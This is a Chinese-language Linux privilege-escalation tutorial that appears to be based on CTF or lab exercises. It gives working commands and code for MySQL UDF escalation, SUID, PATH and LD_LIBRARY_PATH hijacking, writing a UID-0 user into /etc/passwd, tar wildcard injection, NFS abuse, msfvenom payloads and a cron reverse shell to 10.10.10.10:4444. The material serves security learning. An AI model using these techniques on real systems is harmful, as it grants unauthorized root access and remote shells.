Linux 提权
Linux下权限提升
了解权限提升
权限提升的核心通常是从较低权限提升到较高权限。更确切地说,它是利用系统中的漏洞、设计缺陷或配置疏忽。 操作系统或应用程序获得未经授权的访问 通常对用户限制的资源。
在实战中,很难直接活得管理员权限的立足点,一般都是专门的低权限的网站用户权限,高权限可以让我们实现更多的操作
- 重置密码
- 绕过访问控制来破坏受保护的数据
- 编辑软件配置
- 启动持久型,方便后续的再次访问
- 更改用户权限
- 以及拿到根 Flag
权限提升的方向

主要是两种权限提升:
- 水平提权: 通过控制与您相同权限级别的其他用户,扩大您对受感染系统的控制范围。
- 垂直提权(权限提升):指尝试利用已攻陷的现有帐户获取更高权限或访问权限。
枚举工具
一般就是使用命令查看各种系统信息,从而发现可能的利用点,这里就推荐两个工具方便进行提权前的信息查看
如何把工具上传到目标机器:
- 使用
python -m http.server [port]开启一个简单的文件服务器,然后在目标机器中使用wget http://[your_ip_address]:[port]/[file_name]来下载,之后使用chmod +x [file]来赋予执行的权限- 可以选择下载到 temp 目录
- 也可以复制全部命令,到目标机器新建一个文件,粘贴进去,执行
在工具输出的结果中,我们重点关注
- 内核信息
- 敏感文件的权限,我们是否可以写入
- SUID,GUID 文件,
- SUID(执行时设置所有者用户 ID)是赋予文件的一种特殊权限。它允许文件以所有者的权限运行。如果所有者是 root 用户,则文件以 root 权限运行。它可以帮助我们提升权限。
- cron 任务
服务漏洞
MySQL的UDF提权
MySQL服务以root身份运行,并且该服务的root用户没有分配密码,我们可以通过用户定义函数(UDF)通过mysql服务以root身份运行系统命令
UDF表示的是MySQL中的用户自定义函数
不同版本的区别:
- MySql < 4.1:
- 允许用户将任何的DLL文件里面的函数注册到MySql里。
- MySql 4.1-5.0:
- 对用来注册的DLL文件的位置进行了限制,通常我们选择 UDF导出到系统目录C:/windows/system32/来跳过限制。
- MySql >=5.1:
- 这些DLL只能被放在MySql的plugin目录下。
枚举UDF漏洞利用条件
MySQL运行在3306端口上,并且分配给localhost,所以只能本地访问
netstat -tulpn来检查MySQL是否在运行中
ps -ef | grep mysql来检查服务的所有者
默认情况下.MySQL服务器的root密码是空的,所以尝试匿名进行登录,mysql -u root
mysql -u root -p来输入密码,一个常见的默认密码是toor
然后我们需要知道secure_file_priv的位置,这是MySQL中的一个设置,用于限制暑假可以从哪里写入MySQL,如果这个设置为我们没有写入权限的文件夹,那么我们就无法利用这个提权
#判断数据库版本
select version();
#查看plugin目录名称
show variabels like 'plugin%';
#查询目录的绝对路径
select @@plugin_dir;
SHOW VARIABLES LIKE 'SECURE_FILE_PRIV';
#获取插件文件夹的位置
SHOW VARIABLES LIKE 'PLUGIN_DIR';
获取root shell
这里使用raptor_udf2.c脚本来进行利用,也可以在kali中直接搜索searchsploit udf
#编译漏洞利用代码
gcc -g -c raptor_udf2.c -fPIC
gcc -g -shared -Wl,-soname,raptor_udf2.so -o raptor_udf2.so raptor_udf2.o -lc
use mysql;
create table foo(line blob);
insert into foo values(load_file('/home/user/tools/mysql-udf/raptor_udf2.so'));
select * from foo into dumpfile '/usr/lib/mysql/plugin/raptor_udf2.so';
create function do_system returns integer soname 'raptor_udf2.so';
#使用这个函数将/bin/bash复制到/tmp目录下,同时设置suid权限
select do_system('cp /bin/bash /tmp/rootbash; chmod +xs /tmp/rootbash');
#获取root shell
/tmp/rootbash -p
SUID/GUID 文件
什么是 SUID 二进制文件
普通的权限就是 RWX,读取,写入,执行
但是,当为每个用户赋予特殊权限时,它就变成了 SUID 或 SGID。当额外的位 “4” 设置为用户(所有者)时,它就变成了 SUID (设置用户 ID);当额外的位 “2” 设置为组时,它就变成了 SGID (设置组 ID)。
find / -perm -u=s -type f 2> /dev/null来在文件系统中搜索到 SUID/GUID 文件
find / -user root -perm -4000 -exec ls -ldb {} ;

拥有 suid 权限的二进制文件,你在使用的时候,就可以以文件所有人的权限来使用
比如上面图片中的 /home/user3/shell虽然是 user3 的文件,但是所有人是 root,那么运行就可以拿到一个 root 权限的 shell
已知漏洞
找到所有的SUID/SGID可执行文件
find / -type f -a \( -perm -u+s -o -perm -g+s \) -exec ls -l {} \; 2> /dev/null
然后可以去Exploit-DB,GitHub,Google钟找到他的历史漏洞进行利用
共享对象注入
对文件运行strace(这个命令可以查看程序运行过程),在输出钟搜索打开/访问调用和"没有此类文件"的错误
strace /usr/local/bin/suid-so 2>&1 | grep -iE "open|access|no such file"
这里可以发现可执行文件尝试在我们的主目录中加载 /home/user/.config/libcalc.so 共享对象,但找不到它。
那么我们可以找一个共享代码可以实现一个创建shell的效果
gcc -shared -fPIC -o /home/user/.config/libcalc.so /home/user/tools/suid/libcalc.c
然后运行之前的suid文件,我们就可以获得一个shell
环境变量
可以使用strings命令来在文件中查找可打印字符的字符串,strings /usr/local/bin/suid-env
一行(“service apache2 start”)表明正在调用服务可执行文件来启动 Web 服务器,但未使用可执行文件的完整路径 (/usr/sbin/service)。
将位于 /home/user/tools/suid/service.c 的代码编译成名为 service 的可执行文件。此代码只是生成一个 Bash shell:
gcc -o service /home/user/tools/suid/service.c
将当前目录(或新服务可执行文件所在的位置)添加到 PATH 变量前面,并运行 suid-env 可执行文件以获得根 shell
PATH=.:$PATH /usr/local/bin/suid-env, 也可以使用 export PATH=/tmp:$PATH来把这个/tmp 放到环境变量的开头
滥用shell功能 - bash < 4.2-048
在 Bash 版本 <4.2-048 中,可以定义名称类似于文件路径的 shell 函数,然后导出这些函数,以便使用它们而不是该文件路径上的任何实际可执行文件。
创建一个名为"/usr/sbin/service"的bash函数,这个函数执行一个新的shell,使用-p来提权
function /usr/sbin/service { /bin/bash -p; } export -f /usr/sbin/service
然后运行之前的suid文件就可以get root shell
滥用shell功能
不适用于Bash 4.4 以及更高的版本
在调试模式下,bash使用环境变量PS4显示调试语句的额外提示
env -i SHELLOPTS=xtrace PS4='$(cp /bin/bash /tmp/rootbash; chmod +xs /tmp/rootbash)' /usr/local/bin/suid-env2
弱文件权限
/etc/shadow可读
/etc/shadow 文件包含用户密码哈希值,通常只有 root 用户才能读取
文件的每一行代表一个用户。用户的密码哈希值(如果有的话)可以在每行的第一和第二个冒号(:)之间找到。
将root用户哈希值保存到攻击机的hash.txt文件中吗,可以使用john进行破解,可以自动破解
/etc/shadow可写
可以使用我们自己生成的密码来生成一个新的密码哈希来替换原来的密码
mkpasswd -m sha-512 [newpassword]
/etc/passwd可写
/etc/passwd 文件存储登录时所需的基本信息。换句话说,它存储用户帐户信息。/etc/passwd 是一个纯文本文件 。它包含系统帐户列表,为每个帐户提供一些有用的信息,例如用户 ID、组 ID、主目录、shell 等等。
注意其中的格式
test:x:0:0:root:/root:/bin/bash
- 用户名 :用户登录时使用。其长度应在 1 到 32 个字符之间。
- 密码 : x 字符表示加密密码存储在 /etc/shadow 文件。请注意,您需要使用 passwd 命令来计算在 CLI 中输入的密码的哈希值或存储/更新 /etc/shadow 文件中密码的哈希值,在本例中,密码哈希值存储为“x”。
- 用户 ID ( UID ) :每个用户都必须分配一个用户 ID ( UID )。UID 0 保留给 root 用户,UID 1-99 保留给其他预定义帐户。此外, UID100-999 由系统保留,供管理员和系统帐户/组使用。
- 组 ID (GID) :主组 ID(存储在 /etc/group 文件中)
- 用户 ID 信息 :注释字段。它允许您添加有关用户的额外信息,例如用户全名、电话号码等。此字段由 finger 命令使用。
- 主目录 :用户登录时所在目录的绝对路径。如果此目录不存在,则用户目录变为 /
- Command/shell :命令或 shell 的绝对路径 (/bin/bash)。通常,这是一个 shell。请注意,它不一定是 shell。
所以如果我们拥有对于/etc/passwd 的写权限,那么我们可以自己设置一个 root 用户


这里可以看到/etc/passwd 的 root 组拥有写入的权限而 user7 也正好拥有写的权限
简单点就可以使用openssl passwd [newpassword],这个是DES crypt的默认
此时我们需要一个符合要求的密码哈希值 openssl passwd -1 -salt [salt] [password](MD5 crypt)使用这个命令,设置好 salt 和 password,然后 new:$1$new$p7ptkEKU1HnaHpRtzNizS1:0:0:root:/root:/bin/bash把这一串写入文件就可以了
这里需要注意使用 echo 写入的时候 $要使用 \来进行转义,不然无法正常实现效果
最后就可以使用 su new来切换用户了
SUDO
shell逃逸
sudo -l可以列出作为当前用户可以使用的 root 权限用户
比如这个图片就显示我们可以不用密码来以 root 权限运行 vi,这个利用和之前的 suid 文件利用有些相似

可以到这个网站进行搜索,上面会给出利用的权限提升的各种命令
环境变量
LD_PRELOAD 和 LD_LIBRARY_PATH 都是从用户的环境继承而来的。LD_PRELOAD 在程序运行时先于任何其他对象加载共享对象。LD_LIBRARY_PATH环境变量包含一组目录,首先搜索共享库。
通过对程序文件运行ldd来查看程序使用了哪些共享库
然后使用脚本来生成一个同名的共享对象
sudo LD_LIBRARY_PATH=/tmp apache2来设置
#include <stdio.h>
#include <stdlib.h>
static void hijack() __attribute__((constructor));
void hijack() {
unsetenv("LD_LIBRARY_PATH");
setresuid(0,0,0);
system("/bin/bash -p");
}
这个文件可以作为library_path.c然后编译gcc -o /tmp/libcrypt.so.1 -shared -fPIC /home/user/tools/sudo/library_path.c就可以实现获取shell的效果了
Crontab的利用
什么是 Cron
Cron 守护进程是一个长期运行的进程,它会在特定的日期和时间执行命令。您可以使用它来安排活动,可以是一次性事件,也可以是重复性任务。您可以创建一个 crontab 文件,其中包含 Cron 守护进程要执行的命令和指令。
可以使用 cat /etc/crontab来进行查看,也可以使用之前的辅助工具在枚举的时候也会列出 cron 任务
* * * * * user command_to_run
│ │ │ │ │
│ │ │ │ └─ 星期几(0-7)0和7都是周日
│ │ │ └─── 月份(1-12)
│ │ └───── 日期(1-31)
│ └─────── 小时(0-23)
└───────── 分钟(0-59)
文件权限
那么如果我们发现一个在 user4 桌面的 cron 任务,是使用 root 用户来运行的,那我们可以修改其中的文件来执行反弹 shell 的命令

可以替换shell脚本文件中的内容
#!/bin/bash
bash -i >& /dev/tcp/10.10.10.10/4444
然后kali进行监听,那么cron作业运行的时候,我们就可以getshell了
使用 msfvenom 来创建一个载荷
msfvenom -p cmd/unix/reverse_netcat lhost=LOCALIP lport=8888 R这个 R参数就是把命令显示出来
然后我们复制命令,使用 echo来写入 cron 任务运行的脚本中
然后再攻击机中使用 nc -lnvp [port]来监听这个端口,就能获得 shell
PATH环境变量
通过查看crontab的PATH变量,开头的目录如果可以写入
我们可以在主目录中创建一个文件,在文件中写入,同时chmod来给于执行的权限
#!/bin/bash
cp /bin/bash /tmp/rootbash
chmod +xs /tmp/rootbash
通配符
tar命令在目录中使用通配符(*)运行
我们在kali中线生成一个用于反弹shell的elf二进制文件
msfvenom -p linux/x64/shell_reverse_tcp LHOST=10.10.10.10 LPORT=4444 -f elf -o shell.elf
然后到tar命令的目录中,同时要chmod来设置可执行的权限
最后在目录中创建两个文件,之后等待一会就可以拿到shell
touch /home/user/--checkpoint=1
touch /home/user/--checkpoint-action=exec=shell.elf
密码和密钥
历史文件
如果用户在命令行钟输入密码,那么就可能记录在历史文件中
查看用户主目录钟所有隐藏的历史文件的内容
cat ~/.*history | less
配置文件
配置文件通常包含纯文本或者其他可逆的密码
同时也可以注意一些文件中会包含对于其他位置的密码文件的引用
SSH密钥
![[Linux_本地枚举#ssh连接]]
NFS
通过NFS创建的文件继承远程用户的id,如果用户是 root,并且启用了 root 压缩(no_root_squash),则 ID 将设置为“nobody”用户。
检查NFS共享配置,cat /etc/exports
然后在攻击机器钟要以root身份来运行,创建一个挂载点
mkdir /tmp/nfs
mount -o rw,vers=3 10.10.10.10.:/tmp /tmp/nfs
#生成一个有效载荷
msfvenom -p linux/x86/exec CMD="/bin/bash -p" -f elf -o /tmp/nfs/shell.elf
#设置suid权限
chmod +xs /tmp/nfs/shell.elf
/tmp/shell.elf
内核漏洞利用
Linux exploit suggester 2可以识别当前系统上提在的内核漏洞
比如找到一个Dirty COW,直接运行现成的恶意代码就可以提权
6197

被折叠的 条评论
为什么被折叠?



